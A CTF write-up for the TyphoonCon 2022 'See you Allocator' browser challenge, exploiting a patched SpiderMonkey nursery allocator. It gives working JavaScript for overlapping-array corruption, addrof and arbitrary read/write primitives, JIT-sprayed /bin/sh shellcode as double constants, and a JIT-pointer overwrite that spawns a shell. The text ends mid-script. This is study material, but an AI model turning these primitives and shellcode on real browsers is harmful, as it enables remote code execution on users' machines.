Contents

TyphoonCon CTF 2022

https://i.imgur.com/sc5W1BV.png
TyphoonCon CTF 2022

During the weekdays, I spent my after work time by working on the TyphoonCon CTF challenge, specifically See you Allocator challenge. This is my first time doing a browser pwn challenge, so I wrote this writeup for my future-self and as a training for me to understand it better. I apologize in advance if there is any mistake on my explanation, and feel free to correct me if i’m wrong.

Disclaimer
Until now, I honestly don’t know the intended solution that the authors want (because there are unintended solution which we can directly read the file with the js shell interpreter). But assuming this is like the normal browser pwn challenge, I set on my mind that the intended solution for this chall is to be able get RCE.

Pwn

See you Allocator

On this challenge, we were given 2 info, the hash commit for the firefox repo and the challenge patch.

Initial Analysis

This is my first time doing browser pwn, so maybe the best way for me is to setup the environment first.

Environment Setup

Reading through this article, below is how we setup and build the js shell.

1
2
3
4
5
6
7
8
9
git clone https://github.com/mozilla/gecko-dev.git
cd gecko-dev
git checkout c1598f6d3edad19ccc53f53ab045d1d29835e1dd
git apply ../challenge.patch
cp configure.in configure && autoconf2.13
mkdir build_NODBG.OBJ
cd build_NODBG.OBJ
../configure --disable-debug --disable-optimize
make

Usually for browser pwn challenge, AFAIK, one of the attack vector is usually the js shell (which is for Firefox, it is powered with SpiderMonkey engine). This will build a binary called js under the dist/bin folder. Notes that we build the non-debug js shell.

Analyzing the patch and source code

After successfully build the binary, not it’s time for us to read the source code first. Let’s start by reading the patchfile.

challenge.patch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
From 9b75f0de94978a681682cf13d392b0db7fa4161a Mon Sep 17 00:00:00 2001
From: Your Name <you@example.com>
Date: Thu, 17 Feb 2022 16:09:17 +0000
Subject: [PATCH] Cool new Implementation

---
 js/src/gc/Nursery.cpp | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/js/src/gc/Nursery.cpp b/js/src/gc/Nursery.cpp
index ef75e814ed..59ac8e5872 100644
--- a/js/src/gc/Nursery.cpp
+++ b/js/src/gc/Nursery.cpp
@@ -701,12 +701,14 @@ void* js::Nursery::reallocateBuffer(Zone* zone, Cell* cell, void* oldBuffer,
     return newBuffer;
   }
 
+  void* newBuffer = allocateBuffer(zone, newBytes);
+
   // The nursery cannot make use of the returned slots data.
   if (newBytes < oldBytes) {
+    position_ -= oldBytes;
     return oldBuffer;
   }
 
-  void* newBuffer = allocateBuffer(zone, newBytes);
   if (newBuffer) {
     PodCopy((uint8_t*)newBuffer, (uint8_t*)oldBuffer, oldBytes);
   }
-- 
2.20.1

Okay, so the patch is applied to the Nursery.cpp file. To understand it better, let’s try to read the method’s code.

Nursery.cpp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void* js::Nursery::reallocateBuffer(Zone* zone, Cell* cell, void* oldBuffer,
                                    size_t oldBytes, size_t newBytes) {
  if (!IsInsideNursery(cell)) {
    return zone->pod_realloc<uint8_t>((uint8_t*)oldBuffer, oldBytes, newBytes);
  }

  if (!isInside(oldBuffer)) {
    MOZ_ASSERT(mallocedBufferBytes >= oldBytes);
    void* newBuffer =
        zone->pod_realloc<uint8_t>((uint8_t*)oldBuffer, oldBytes, newBytes);
    if (newBuffer) {
      if (oldBuffer != newBuffer) {
        MOZ_ALWAYS_TRUE(
            mallocedBuffers.rekeyAs(oldBuffer, newBuffer, newBuffer));
      }
      mallocedBufferBytes -= oldBytes;
      mallocedBufferBytes += newBytes;
    }
    return newBuffer;
  }

  void* newBuffer = allocateBuffer(zone, newBytes);

  // The nursery cannot make use of the returned slots data.
  if (newBytes < oldBytes) {
    position_ -= oldBytes;
    return oldBuffer;
  }

  if (newBuffer) {
    PodCopy((uint8_t*)newBuffer, (uint8_t*)oldBuffer, oldBytes);
  }
  return newBuffer;
}

Because I didn’t have context at all, let’s try to read the allocateBuffer method first to gain some context.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void* js::Nursery::allocateBuffer(Zone* zone, size_t nbytes) {
  MOZ_ASSERT(nbytes > 0);

  if (nbytes <= MaxNurseryBufferSize) {
    void* buffer = allocate(nbytes);
    if (buffer) {
      return buffer;
    }
  }

  void* buffer = zone->pod_malloc<uint8_t>(nbytes);
  if (buffer && !registerMallocedBuffer(buffer, nbytes)) {
    js_free(buffer);
    return nullptr;
  }
  return buffer;
}

Assuming that our allocated size is less than MaxNurseryBufferSize, that means allocateBuffer will call allocate method. Let’s check it out.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
inline void* js::Nursery::allocate(size_t size) {
  MOZ_ASSERT(isEnabled());
  MOZ_ASSERT(!JS::RuntimeHeapIsBusy());
  MOZ_ASSERT(CurrentThreadCanAccessRuntime(runtime()));
  MOZ_ASSERT_IF(currentChunk_ == currentStartChunk_,
                position() >= currentStartPosition_);
  MOZ_ASSERT(position() % CellAlignBytes == 0);
  MOZ_ASSERT(size % CellAlignBytes == 0);

#ifdef JS_GC_ZEAL
  if (gc->hasZealMode(ZealMode::CheckNursery)) {
    size += sizeof(Canary);
  }
#endif

  if (MOZ_UNLIKELY(currentEnd() < position() + size)) {
    return moveToNextChunkAndAllocate(size);
  }

  void* thing = (void*)position();
  position_ = position() + size;
  // We count this regardless of the profiler's state, assuming that it costs
  // just as much to count it, as to check the profiler's state and decide not
  // to count it.
  stats().noteNurseryAlloc();

  DebugOnlyPoison(thing, JS_ALLOCATED_NURSERY_PATTERN, size,
                  MemCheckKind::MakeUndefined);

#ifdef JS_GC_ZEAL
  if (gc->hasZealMode(ZealMode::CheckNursery)) {
    writeCanary(position() - sizeof(Canary));
  }
#endif

  return thing;
}

Now, let’s check what is position_ means

Nursery.h

1
2
  // Pointer to the first unallocated byte in the nursery.
  uintptr_t position_;

Ah, reading through those methods, we can deduce what this allocateBuffer do. So the summary is:

  • Nursery heap has a pointer to the first unallocated byte called position_
  • Everytime there is an allocation, the allocate will simply return the current position_ address, and then shift the position_ by n-size

Turn out, the way Nursery heap do allocation is quite simple. Now, let’s back to the reallocateBuffer method those were patched for this challenge, especially on the patched line of codes.

1
2
3
4
5
6
7
  void* newBuffer = allocateBuffer(zone, newBytes);

  // The nursery cannot make use of the returned slots data.
  if (newBytes < oldBytes) {
    position_ -= oldBytes;
    return oldBuffer;
  }

The bug is there will be overlapping chunk after the call reallocateBuffer. For example:

  • Suppose that position_ is pointing to x
  • And then you allocate A chunk with size 0x100
    • A will point to x
    • position_ will point to x+0x100
  • And then you allocate B chunk with size 0x30
    • B will point to x+0x100
    • position_ will point to x+0x130
  • And then let say you re-allocate A with size 0x20. Due to the bug, the position_ will be corrupted. Below is the detail what happens:
    • reallocateBuffer will allocate new chunk with size 0x20
      • Now, the position_ will point to x+0x150
    • And then, because the newBytes is less than oldBytes (0x20 < 0x100), position_ will point to x+0x50. Notes that the position_ is messed up now.
  • And then you allocate C chunk with size 0x100
    • C will point to x+0x50
    • position_ will now point to 0x150
  • Now, C and B chunk is overlapping. If we able to do some write to the chunk C, we can forge the B chunk metadata.

Now we found the bug, it’s time for us to think more on how to create the exploitation plan

Exploitation Plan

Now we know the bug, we need to know three things before we can actually exploit the bug:

  • How to trigger allocateBuffer in Nursery
  • What is the chunk metadata contents stored
  • How to trigger reallocateBuffer in Nursery

Understanding the SpiderMonkey engine

Reading through this article will help us to answer the first and third question. To trigger it, we actually can just create a new array object. For example:

1
a = new Array(0x7e)

The above LOC will call allocateBuffer in the process. To understand it better, let’s fire up our gdb. Below is the script that I used to set the breakpoint.

1
2
b *js::Nursery::allocate+128
b *js::Nursery::reallocateBuffer(JS::Zone*, js::gc::Cell*, void*, unsigned long, unsigned long)+643
  • The first breakpoint is pointing to the LOC position_ = position() + size; inside allocate
  • The second is pointing to the LOC position_ -= oldBytes inside reallocateBuffer

Now, try to initialize array like above, and lookup at the gdb. https://i.imgur.com/4Y0mFOk.png

As you can see in the trace, it is true that creating an array array will call js::Nursery::allocate. The chunk address is the $rax value that you see in the above picture.

Stepping through the gdb, turn out during constructing an array with size 0x7e, it will allocate 3 times with respective size 0x30, 0x400, and 0x20 (To understand why the allocation is like that, I recommend you to read this article which explain about it). Notes that these allocations size will varies based on your array size, which is why instead of calculating precisely, I’ll just focus inspecting on the gdb layout.

Let’s try to assign some value to our array.

1
2
3
4
a[0]=0x1337
a[1]=2.4303e-320 // Double representation of 0x1337 hex
a.x = 0xbeef
a.y = 0x4141

Now, let’s inspect the chunk content now (start from the first one).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gef➤  x/50gx 0x1010a1c00690
0x1010a1c00690: 0x00007ffff694e3f0      0x000010b870d60fe0
0x1010a1c006a0: 0x00001010a1c009d0      0x00001010a1c006d0
0x1010a1c006b0: 0x0000000000000000      0x0000007e00000000
0x1010a1c006c0: 0x0000000200000000      0x0000007e00000005
0x1010a1c006d0: 0xfff8800000001337      0x0000000000001337
0x1010a1c006e0: 0x0000000000000000      0x0000000000000000
0x1010a1c006f0: 0x0000000000000000      0x0000000000000000
0x1010a1c00700: 0x0000000000000000      0x0000000000000000
0x1010a1c00710: 0x0000000000000000      0x0000000000000000
0x1010a1c00720: 0x0000000000000000      0x0000000000000000
0x1010a1c00730: 0x0000000000000000      0x0000000000000000
0x1010a1c00740: 0x0000000000000000      0x0000000000000000
0x1010a1c00750: 0x0000000000000000      0x0000000000000000
0x1010a1c00760: 0x0000000000000000      0x0000000000000000
0x1010a1c00770: 0x0000000000000000      0x0000000000000000
0x1010a1c00780: 0x0000000000000000      0x0000000000000000
0x1010a1c00790: 0x0000000000000000      0x0000000000000000
0x1010a1c007a0: 0x0000000000000000      0x0000000000000000
0x1010a1c007b0: 0x0000000000000000      0x0000000000000000
0x1010a1c007c0: 0x0000000000000000      0x0000000000000000
0x1010a1c007d0: 0x0000000000000000      0x0000000000000000
0x1010a1c007e0: 0x0000000000000000      0x0000000000000000
0x1010a1c007f0: 0x0000000000000000      0x0000000000000000
0x1010a1c00800: 0x0000000000000000      0x0000000000000000
0x1010a1c00810: 0x0000000000000000      0x0000000000000000
gef➤  x/20gx 0x00001010a1c009d0
0x1010a1c009d0: 0xfff880000000beef      0xfff8800000004141
0x1010a1c009e0: 0x0000000000000000      0x00007ffff694e3f2
0x1010a1c009f0: 0x0000000541410a50      0x0000003530373631
0x1010a1c00a00: 0x0000000000000000      0x00007ffff694e3f2
0x1010a1c00a10: 0x0000000413370a50      0x0000000039313934
0x1010a1c00a20: 0x0000000000000000      0x00007ffff694e3f2
0x1010a1c00a30: 0x0000000b00000250      0x2d65333033342e32
0x1010a1c00a40: 0x0000000000303233      0x0000000000000000
0x1010a1c00a50: 0x0000000000000000      0x0000000000000000
0x1010a1c00a60: 0x0000000000000000      0x0000000000000000

Some notable metadata that we can see:

  • At address 0x1010a1c006a0, we can see that it stored a pointer to the start of our properties.
  • At address 0x1010a1c006a8, we can see that it stored a pointer to the start of our array elements.
  • At address 0x1010a1c006c0, it store the count of elements that we have stored in the array.
  • Starting from address 0x1010a1c006d0, it contains our array elements value.
  • Starting from address 0x00001010a1c009d0, it contains our properties values.

If you notice, there is a MSBs set on our first array elements value, while the second element doesn’t have any MSBs set. The first element MSBs is called an object tag. Refering to the source code of it in here, to summarize it, every type in javascript has their own encoded tag set in the MSBs (Specifically 17-bits of their MSBs).

For example, as we can see in the GDB, for integer type, the MSBs that we saw is the integer tag, which is 0xffff8. One of the unique type that doesn’t have a tag is a Double (which is our second element), where it will use the whole address (8 bytes) to store the floating-point hex value representation of the Double.

Now we know about the metadata, our second question has been answered. Now, to answer the third question, as stated in the article, if we set the array length to let say 0, it will trigger reallocateBuffer. Let’s try this in our gdb by executing below code

1
a.length=0

https://i.imgur.com/J59F5wF.png

As we can see in the above image, reallocateBuffer got triggered. Keep in mind that the bug is in this method, which mean after we set the array length, the Nursery pointer position_ is now corrupted, and pointing to the wrong address.

What we can do to abuse the bug

Keep in mind that from our first initial analysis, we actually can create an overlapping chunk with the bug. Usually, in order to exploit this kind of challenge, we need to be able:

  • Read any value stored in any address
  • Write any value to any address

How to achieve this? Based on the general knowledge on how the js engine works, we actually can abuse the overlapping chunk by creating an overlapping array, where the the array elements overlap with another array metadata, which mean we can achieve the above conditions.

Suppose that we have two array B and C, where due to the overlapping chunk bugs, one of the array B elements is actually pointing to the array C metadata stored pointer. For example, what we can do with this condition:

  • Read any value stored in any address by:
    • Calculate the B array offset, so that when we overwrite the B array elements, it will actually rewrite the C metadata which stored the address of its starting element
    • Overwrite it with the address that we want
    • Now, if you access c[0], it will leak the address value.
  • Write any value to any address by:
    • Calculate the B array offset, so that when we overwrite the B array elements, it will actually rewrite the C metadata which stored the address of its starting element
    • Overwrite it with the address that we targeted
    • Now, if you assign value to c[0], it will overwrite the address that we targeted

With this, now we can do anything, expanding this to:

  • Read any object address
  • Overwrite any object metadata

JIT Spray

Of course read and write to any address isn’t enough to trigger RCE, so we need to expand this more. In order to do this, we will use JIT Spraying attack.

SpiderMonkey use IonMonkey as their JIT engine, where it is a whole-method JIT.

To summarize, if we have a method that is frequently called, IonMonkey will JIT-ed the method, which mean it will compile the method, and put it in the JIT-ed code address area.

And what JIT Spraying attack is basically trying to smuggle our shellcode to the JIT-ed code address area (which has r-x permission).

After reading some articles, we actually can create a function contains a lot of Double constants, and then create a loop to call this methods so many times. If the code got jit-ed, the JIT-ed code address area will contains our Double constants. For example, let say we have this code

1
2
3
4
5
6
7
8
function sc() {
    sc_marker = 5.40900888e-315;
    SC1 = -6.827620262216015e-229
    SC2 = -6.82852429045179e-229
    SC3 = -6.82831220543336e-229
}

for (i = 0; i < 0x1000; i++) sc();

Our sc method will be jitted, and the double constant hex representation will be stored inside the jit-ed area also.

Now, we successfully smuggle a controllable 8-bytes hex in the r-x area, what if the constant is actually crafted, so that the hex representation is actually a shellcode, where each constants represent 8-bytes shellcode? That means if we can somehow overwrite the js engine return address to jump to our constants, we will gain RCE.

So, we will try to smuggle our shellcode to the jit-ed area, and then try to jump to it. The limitation is 8-bytes per constant.

Final Plan

Gathering from all the above information, our plan will be:

  • Trigger overlapping chunk bug, so that we have two array, where the first array’s elements is actually pointing to the other metadata.
  • Create read and write gadget
  • Smuggle shellcode to the JIT-ed area
  • With our write gadget, overwrite the return address of the engine to jump to our smuggled shellcode.

Now, let’s move to the detailed of my solution.

Solution

Below is the detailed step by step on how I craft my solution based on the final plan that I described before.

Trigger Overlapping chunk

Let’s restart our previous shell, and load this code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
/* Sequence of operations to corrupt the Nursery Heap */
// NOTES:
// - The size that I choose is based on trial-and-error inspecting the GDB
// - Funny, but adding multiple line of comments also affect the nursery heap chunk layout. So I use inline comment to make sure my payload is working lol.
a = new Array(0x7e) // This will initialize a-chunk inside the Nursery Heap. position_ (Nursery heap pointer to the first unallocated chunk) is still correct
b = new Array(0x50) // This will add a new chunk (b-chunk) after the a-chunk position_ is still correct
a.length = 0 // This will trigger reallocateBuffer (which is the bug). After this, the position_ is corrupted, where it is now pointing to around the middle of a-chunk
b.fill(0) // Fill b to increase the array b total element count, so that later we can write a value to any of b array elements.
c = new Array(0x50) // This will add a new chunk (c-chunk), which overlap a-chunk & b-chunk. position_ will point to around b-chunk
c.length = 0x10 // This will trigger reallocateBuffer (which is the bug).  After this, the position_ is corrupted, where it is now pointing to around the middle of b-chunk, specifically in the area of b-chunk array elements.
d = new Array(0x20) // This will add a new chunk (d-chunk), which overlap b-chunk. Now, this d array metadata is actually overlapping with the b array elements. Hence, with b, we can overwrite the metadata stored for array d.
d.fill(0) // Fill d to increase the array d total element count.
// Assign 3 properties to d. This will be used during crafting addrof method
d.x = 2.4303e-320;
d.y = 2.4303e-320;
d.z = 2.4303e-320;

Based on trial and error and inspecting the gdb, the above payload will trigger the overlapping chunk bug, where with b, we can overwrite the d metadata that stored pointers to its properties and elements address. You can read the code comments for summary on why it create an overlapping chunks.

So, inspecting via gdb, below is the current heap layout

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gef➤  x/50gx 0x1f4107200ae0
0x1f4107200ae0: 0x00007ffff6951ff0      0x00003afd8a760f40
0x1f4107200af0: 0x000055555700b9a8      0x00001f4107200b20
0x1f4107200b00: 0x0000000000000000      0x0000005000000000
0x1f4107200b10: 0x0000005000000000      0x0000005000000050
0x1f4107200b20: 0xfff8800000000000      0xfff8800000000000
0x1f4107200b30: 0xfff8800000000000      0xfff8800000000000
0x1f4107200b40: 0xfff8800000000000      0xfff8800000000000
0x1f4107200b50: 0xfff8800000000000      0xfff8800000000000
0x1f4107200b60: 0xfff8800000000000      0x0000000e00000000
0x1f4107200b70: 0x0000000e0000000e      0xfffb3afd8a761560
0x1f4107200b80: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200b90: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200ba0: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200bb0: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200bc0: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200bd0: 0xfffb3afd8a761560      0xfffb3afd8a761560
0x1f4107200be0: 0xfffb3afd8a761560      0x00007ffff6951ff0
0x1f4107200bf0: 0x00003afd8a765140      0x00001f4107200da0
0x1f4107200c00: 0x00001f4107200c28      0x0000000000000000
0x1f4107200c10: 0x0000002000000000      0x0000002000000000
0x1f4107200c20: 0x0000002000000020      0xfff8800000000000
0x1f4107200c30: 0xfff8800000000000      0xfff8800000000000
0x1f4107200c40: 0xfff8800000000000      0xfff8800000000000
0x1f4107200c50: 0xfff8800000000000      0xfff8800000000000
0x1f4107200c60: 0xfff8800000000000      0xfff8800000000000
gef➤  x/10gx 0x00001f4107200da0
0x1f4107200da0: 0x0000000000001337      0x0000000000001337
0x1f4107200db0: 0x0000000000001337      0x00007ffff6951ff2
0x1f4107200dc0: 0x0000000c00000250      0x3032373031346631
0x1f4107200dd0: 0x0000000038656130      0x00007ffff6951ff2
0x1f4107200de0: 0x0000000e00000250      0x3237303134663122

Notes:

  • 0x1f4107200b20 is the starting of array B elements.
  • 0x1f4107200bf8 is used by array D to store pointer to its properties (on 0x1f4107200da0). Notice that b[27] is pointing to the same address.

As you can see, the d stored pointer for properties (address 0x1f4107200bf8) is actually overlapping with b 27th element. So, if we assign b[27] with a value, it will override the d properties stored pointer.

Create Read and Write Gadget

Before creating our read and write gadget, let’s create some helper first to cast double and bigint easily. We will need this later.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Initializing helper method for casting purposes */
// Converter taken from https://org.anize.rs/corCTF-2021/pwn/outfoxed
// This will help us to convert between BigInt and Double easily
let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);

// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}

// Add double with BigInt. Return Double
function doubleAddBigInt(x, y) {
    return i2d(d2i(x) + y)
}

Now, let’s start describing on how we will use the above overlapping object to create our read gadget. Below is the code that I use to create a method to read an object address. Below is the code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Building function to perform read & write */
// Some ideas are taken from https://webcache.googleusercontent.com/search?q=cache:ySfo3rNPA2kJ:https://labs.f-secure.com/blog/exploiting-cve-2019-17026-a-firefox-jit-bug/

d.x = 0.0;
d.y = 0.0;
d.z = 0.0;
// Return given object address
function addrof(o) {
    // The purpose of this logic is given an object, we want to get the address of it. Logic:
    // - First, we will store the original pointer of the object d properties
    // - Then, we will set the given object to d.y
    // - Instead of reading the stored value inside d.y, what we want to read is only the 6-LSB (bytes, not bits)
    //   So, the trick is we will try to read d.x+6 (shift the current object d properties pointer by 6)
    // - Now, the new d.x 8-bytes will consist of |d.y+5|d.y+4|d.y+3|d.y+2|d.y+1|d.y|d.x+8|d.x+7|
    // - After that, convert it to BigInt, and then shift it by 2-bytes, so that we get the true address without tag.
    // - Revert the pointer and return the Double representation of the object address.
    original = b[27]
    d.y = o
    b[27] = doubleAddBigInt(b[27], 0x6n)
    result = i2d(d2i(d.x) >> 16n)
    b[27] = original
    return result
}

To explain it, remember that when we inspect the gdb, b[27] is actually the d stored pointer of properties. So, what this code aim to do:

  • Assign 0 to d.x, d.y, and d.z. Now, our heap layout for d properties will be like this
1
2
3
gef➤  x/4gx 0x00001f4107200da0
0x1f4107200da0: 0xfff8800000000000      0xfff8800000000000
0x1f4107200db0: 0xfff8800000000000      0x00007ffff6951ff2
  • Assign the object to d.y (Just test by assigning any object). Now, our heap layout for d properties will be like this
1
2
3
gef➤  x/4gx 0x00001f4107200da0
0x1f4107200da0: 0xfff8800000000000      0xfffe1f4107200f00
0x1f4107200db0: 0xfff8800000000000      0x00007ffff6951ff2
  • What we want to retrieve on d.y is only the 6 bytes of its LSB, because that is the address of the object. However, we can’t really get it by directly access the d.y value because of the object tag. So, we need to get rid of it
  • The trick is to shift the current d properties pointer by 6 (So instead of 0x00001f4107200da0, overwrite it to 0x00001f4107200da0+6). Now, if we get d.x value, the result will be like 0x1f4107200f00fff8
  • Now, accessing d.x will return what the stored value inside address in form of Double due to successfully remove the object tag.
  • To get the real address, convert the retrieved d.x to BigInt first, right shift it by 16 (so that now the retrieved value will be 0x1f4107200f00), and then convert it back to Double.
  • Now, we finally get rid of the tag and get the passed object address in form of Double.

Now, let’s try to create a write gadget. Below is the code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// Write value (double) to the given address (double)
function write(dbl_addr, dbl_val) {
    // General logic:
    // - Overwrite the object d properties pointter to the given address.
    // - Now, d.x will point to the given address.
    // - Assign d.x value, which mean now the given address contains our given value.
    original = b[27];
    b[27] = dbl_addr;
    d.x = dbl_val;
    b[27] = original;
}

The comment of the code is already self-explanatory. Basically we overwrite the d properties pointer with our target address, assign d.x with the targeted value, and after that, our targeted address will be overwritten.

Now, let’s try to create another read gadget. But this one will be used to read an address value in form of Double (not to read an address of object, so it slightly different).

1
2
3
4
5
6
7
8
9
target_buf = new Float64Array(1);
target_buf.fill(2.4303e-320) // Just to set the array element count
data_ptr = doubleAddBigInt(addrof(target_buf), 0x30n)

// Given an address in Double form, read & return the address stored value as double
function read(dbl_addr) {
    write(data_ptr, dbl_addr)
    return target_buf[0]
}

What we do here is:

  • Create another array
  • Overwrite the metadata pointer of its element to our targeted address
  • Now, accessing d[0] will return the targeted address value. Notes that there is some limitation with this, where if the address MSBs is a tag object, we won’t be able to read it.

I do this after trial-and-error and reading some writeups. During testing, this is the most stable method to read for my payload.

Finally, we already create three gadgets:

  • Read the address of an object
  • Write any value to any address
  • Read any address stored value (with some limitation)

Now, we will move to our next phase, where we aim to gain RCE.

Smuggle shellcode

Let’s do JIT Spraying attack now. In order to do this, first we need to craft our shellcode, where its line should be less than 8 bytes. Taken from this writeup, this shellcode will spawn a shell if got executed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Shellcode taken from https://ctftime.org/writeup/29915
instructions = [
"mov ebx, 0x0068732f",
"shl rbx, 32",
"mov edx, 0x6e69622f",
"add rbx, rdx",
"push rbx",
"xor eax, eax",
"mov al, 0x3b",
"mov rdi, rsp",
"xor edx, edx",
"syscall"
]

Now we have our shellcode, let’s smuggle this by:

  • Pad each line so that its size will be 8-bytes
  • Convert the hex bytes to Double (I use python)
    • For example, this shellcode bytes b'\xbb/sh\x00\x90\x90\x90' double representation is -6.827620262216015e-229
  • Now, create a method that consist of this constants. Below is my crafter function.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/* JIT Spray */
// Some ideas are taken from https://ret2.life/posts/corCTF-2021/#fn:2
// Shellcode are inspired from https://ctftime.org/writeup/29915

// This will be JITed later. These const will be stored in a r-x region after being JITed.
function sc() {
    sc_marker = 5.40900888e-315;      // 0x41414141 in memory. Will be used during searching for the address of our const.
    SC1 = -6.827620262216015e-229
    SC2 = -6.82852429045179e-229
    SC3 = -6.82831220543336e-229
    SC4 = -6.828527040799766e-229
    SC5 = -6.828527034422697e-229
    SC6 = -6.828527034440643e-229
    SC7 = -6.828527034390964e-229
    SC8 = -6.828527042770368e-229
    SC9 = -6.828527034447392e-229
    SC10 = -6.828527034370483e-229
}

If you notice, I smuggle 0x41414141 also into the method. This will be useful later during searching for our JIT-ed function address.

Now that the function is ready, let’s force this function to be JIT-ed by IonMonkey. How? Simply run this method so many times like below

1
2
// Execute sc 0x1000 to make it got JITed
for (i = 0; i < 0x1000; i++) sc();

Now, we can move to our next step after it got jitted.

Find the JIT-ed function and jump to it

In order to do this, we will need to inspect the sc function metadata. Let’s try to get the function address with our addrof method.

1
2
// Get the function address
sc_addr = addrof(sc)

After running that line, we will know get the address of function sc. Now, let’s inspect it in gdb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x001f4107200000 0x001f4107300000 0x00000000000000 rw-
0x00291cb41b4000 0x00291cb41c4000 0x00000000000000 ---
0x00291cb41c4000 0x00291cb41e1000 0x00000000000000 r-x
0x00291cb41e1000 0x00291cb41e4000 0x00000000000000 r-x
0x00291cb41e4000 0x00291cb41f4000 0x00000000000000 ---
0x00291cb41f4000 0x00291cb41f7000 0x00000000000000 r-x
0x00291cb41f7000 0x00291cb4204000 0x00000000000000 r-x
gef➤  tele 0x1f41072026c8
0x001f41072026c8│+0x0000: 0x003afd8a73c160  →  0x003afd8a73b0a0  →  0x005555585c0700  →  0x00555558657190  →  "Function"
0x001f41072026d0│+0x0008: 0x0055555700b9a8  →  <emptyObjectSlotsHeaders+8> add BYTE PTR [rax], al
0x001f41072026d8│+0x0010: 0x0055555700b970  →  <emptyElementsHeader+16> add BYTE PTR [rax], al
0x001f41072026e0│+0x0018: 0xfff88000000000a0
0x001f41072026e8│+0x0020: 0xfffe3afd8a73e038
0x001f41072026f0│+0x0028: 0x003afd8a76bf10  →  0x00291cb41d4d50  →  0x7ffff6924500b848
0x001f41072026f8│+0x0030: 0xfffb3afd8a7145c0
0x001f4107202700│+0x0038: 0x007ffff6951ff1  →  0x0100007ffff69518
0x001f4107202708│+0x0040: 0x0000000100000000
0x001f4107202710│+0x0048: 0x001f4107200da0  →  0xfff8800000000000

Inspecting inside the gdb, we notice that at offset 0x28, if we follow the stored pointer, it will point to the JIT-ed area (the area where the permission is r-x). 0x00291cb41d4d50 is in r-x area.

Now, we need to know where is our shellcode stored. How to do this? Well we need to bruteforce a little bit. Based on the address that we got before, let’s try to increase the address, and then we check the stored value. Here comes why we need to smuggle 0x0041414141 in our JIT-ed function. We will use this as an identifier during bruteforce. If the stored value in our increased address is equals to 5.40900888e-315 (Double representation of 0x0041414141), that means we have found our shellcode. Below is the implementation of the bruteforce code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
// Brute force per byte until we found our magic string (0x41414141)
for (var i = 200n; i <= 132777n; i++) {
    print(i)
    sc_start = doubleAddBigInt(code_addr, i)
    check = read(sc_start)
    if (check == 5.40900888e-315) {
        print(sc_start)
        break
    }
}

Now that we found it, somehow the JIT-ed result of the function in my local and in the server is pretty different. In my local, the const is separated by some offset, which mean we need to modify our shellcode to be able to jump to the next const, so that our payload is limited 6-bytes per line, because the last 2 bytes will be used to jump to the next const offset.

But in the server, all the const are adjacent to each other, so we don’t need to do jump at all. So, for the remote payload, the smuggled shellcode is started from sc_start+8. Below is the proof

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
js> read(sc_start)
read(sc_start)
5.40900888e-315
js> read(doubleAddBigInt(sc_start, 0x8n))
read(doubleAddBigInt(sc_start, 0x8n))
-6.827620262216015e-229
js> read(doubleAddBigInt(sc_start, 0x10n))
read(doubleAddBigInt(sc_start, 0x10n))
-6.82852429045179e-229
js> read(doubleAddBigInt(sc_start, 0x18n))
read(doubleAddBigInt(sc_start, 0x18n))
-6.82831220543336e-229

Notice that all the const that we previously defined are adjacent to each other in the server.

Now we already know the position of our smuggled shellcode, the last step is we need to jump to it. How to do this? Simple. Remember the sc function metadata, in the 0x28 offset, there is a pointer to the JIT-ed area right? We just need to replace that with the address of our shellcode. And when we call sc(), it will jump to our shellcode. Below is the final blow for this chall

1
2
3
4
5
6
7
8
// Our real payload start 8 bytes after it
sc_start = doubleAddBigInt(sc_start, 0x8n)

// Overwrite the jit address pointer of our sc func to point to our hidden shellcode
write(jit_addr, sc_start)

// Call our shell
sc()

And below is the snapshot of our spawn shell in the server.

https://i.imgur.com/WlolpXs.png

Author's Note

I don’t know what is the chall intended solution, but for me I think it is enough to spawn a shell. Because in the v2 challenge, we don’t have enough privilege to read the flag, so we need to maybe do privilege escalation? But based on the usual browser pwn challenge, spawn a shell and gain RCE should be enough to get the flag, so I assume this is enough.

Thanks for reading my writeup, and I’m sorry if there are any mistakes on my explanation as this is my first time doing this kind of challenge.

Full Script

Below is the full script that I use to generate the smuggled shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
from pwn import p64, u64, p32, u32
